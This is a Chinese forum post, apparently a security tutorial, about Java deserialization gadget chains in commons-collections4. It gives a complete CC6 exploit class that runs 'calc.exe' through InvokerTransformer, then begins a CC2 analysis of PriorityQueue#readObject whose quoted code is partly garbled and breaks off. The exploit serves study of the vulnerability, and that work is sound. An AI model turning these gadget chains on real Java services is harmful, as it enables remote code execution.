ToB企服应用市场:ToB评测及商务社交产业平台

标题: 06CC2、commons-collections4与漏洞修复 [打印本页]
作者: 魏晓东    时间: 2025-1-7 19:40
标题: 06CC2、commons-collections4与漏洞修复
commons-collections的版本和分支

2015年cc链的利用被提出时，apache commons collections有两个分支：
前者为Commons Collections⽼的版本包，当时版本号是3.2.1，后 者是官⽅在2013年推出的4版本，当时版本号是4.0。两个包的groupId和artifactId都变了，所以它们并不是一个包的不同版本，而是有着相似功能的不同包。
commons-collections4中的cc1、cc3、cc6

cc1、cc3、cc6都可以在CommonsCollections4中利用，除了cc6需要做一些小改动
将LazyMap.decorate替换为了LazyMap.lazyMap，这是因为CommonsCollections4中的代码改动造成的。
  1. import org.apache.commons.collections4.Transformer;
  2. import org.apache.commons.collections4.functors.ChainedTransformer;
  3. import org.apache.commons.collections4.functors.ConstantTransformer;
  4. import org.apache.commons.collections4.functors.InvokerTransformer;
  5. import org.apache.commons.collections4.keyvalue.TiedMapEntry;
  6. import org.apache.commons.collections4.map.LazyMap;
  8. import java.io.*;
  9. import java.lang.reflect.Field;
  10. import java.util.HashMap;
  11. import java.util.Map;
  13. public class CC6InCommonsCollections4 {
  14.     public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
  15.         Object expMap = new CommonCollection6().getObject();
  16.         // ==================
  17.         // ⽣成序列化字符串
  18.         ByteArrayOutputStream barr = new ByteArrayOutputStream();
  19.         ObjectOutputStream oos = new ObjectOutputStream(barr);
  20.         oos.writeObject(expMap);
  21.         oos.close();
  22.         // 本地测试触发
  23.         System.out.println(barr);
  24.         ObjectInputStream ois = new ObjectInputStream(new
  25.                 ByteArrayInputStream(barr.toByteArray()));
  26.         Object o = (Object)ois.readObject();
  27.     }
  28.     public Object getObject() throws NoSuchFieldException, IllegalAccessException {
  29.         Transformer[] fakeTransformers = new Transformer[] {new
  30.                 ConstantTransformer(1)};
  31.         Transformer[] transformers = new Transformer[] {
  32.                 new ConstantTransformer(Runtime.class),
  33.                 new InvokerTransformer("getMethod", new Class[] { String.class,
  34.                         Class[].class }, new
  35.                         Object[] { "getRuntime",
  37.                         new Class[0] }),
  38.                 new InvokerTransformer("invoke", new Class[] { Object.class,
  39.                         Object[].class }, new
  40.                         Object[] { null, new Object[0] }),
  41.                 new InvokerTransformer("exec", new Class[] { String.class },
  42.                         new String[] { "calc.exe" }),
  43.                 new ConstantTransformer(1),
  44.         };
  45.         Transformer transformerChain = new ChainedTransformer(fakeTransformers);
  47.         Map innerMap = new HashMap();
  48.         // 修改
  49.         Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
  51.         TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
  52.         Map expMap = new HashMap();
  53.         expMap.put(tme, "valuevalue");
  55.         outerMap.remove("keykey");
  57.         Field f =
  58.                 ChainedTransformer.class.getDeclaredField("iTransformers");
  59.         f.setAccessible(true);
  60.         f.set(transformerChain, transformers);
  61.         return expMap;
  62.     }
  63. }
复制代码
CC2

java.util.PriorityQueue#readObject分析 :
[code]// java.util.PriorityQueue#readObjectprivate void readObject(java.io.ObjectInputStream s)        throws java.io.IOException, ClassNotFoundException {        // Read in size, and any hidden stuff        s.defaultReadObject();        // Read in (and discard) array length        s.readInt();        queue = new Object[size];        // Read in all elements.        for (int i = 0; i < size; i++)            queue = s.readObject();        // Elements are guaranteed to be in "proper order", but the        // spec has never explained what that might be.        heapify();    }// java.util.PriorityQueue#heapify恢复二叉堆状态private void heapify() {        // size >>> 1个非叶子节点需要调整        // 假如最后一个叶子结点的位置为n，它的父节点的位置为n>>>1，从父节点的位置往前数全部是非叶子节点        for (int i = (size >>> 1) - 1; i >= 0; i--)            // 调整每个非叶子节点            siftDown(i, (E) queue);    }private void siftDown(int k, E x) {        // 优先队列需要比较节点的大小，comparator是比较器        if (comparator != null)            siftDownUsingComparator(k, x);        else            siftDownComparable(k, x);    }// 利用提前设置的比较器private void siftDownUsingComparator(int k, E x) {        int half = size >>> 1;        while (k < half) {            int child = (k  0)                c = queue[child = right];            //  触发org.apache.commons.collections4.comparators.TransformingComparator#compare            if (comparator.compare(x, (E) c)



欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4